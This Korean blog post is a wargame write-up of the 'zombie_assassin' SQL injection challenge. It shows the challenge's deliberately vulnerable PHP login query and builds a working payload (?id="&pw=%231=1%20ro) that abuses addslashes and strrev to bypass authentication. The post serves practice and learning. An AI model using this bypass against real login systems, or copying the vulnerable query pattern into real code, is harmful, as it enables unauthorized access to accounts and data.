반응형
이전의 succubus문제와 유사하게 풀면된다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
여기서 알아야할 함수는 두가지이다.
addslashes : ', " , %00(null) 뒤에 역슬래시를 추가한다.
strrev() : 문자열을 반대순서로 입력한다.
ex. strrev(test) -> tset
일부러 addslashes를 이용하는 payload를 구성하면 아래와 같다.
id="&pw=or 1=1%23
이제 입력하기 위해 역순으로 만들어준다. 이 때, %23역시 32%로 만들어주면 #으로 인식하지 못하기에 %23은 그대로 입력해주어야한다.
그리하여 최종적인 payload는 아래와 같다.
?id="&pw=%231=1%20ro
이렇게 보내면, highlight친 부분이 문자열로 처리되기에 뚫리는 것이다.
반응형
'wargame' 카테고리의 다른 글
simple-operation (0) | 2023.09.18 |
---|---|
Broken Buffalo Wings (0) | 2023.09.10 |
phpreg (0) | 2023.08.27 |
type confusion (0) | 2023.08.27 |
tmitter (0) | 2023.08.26 |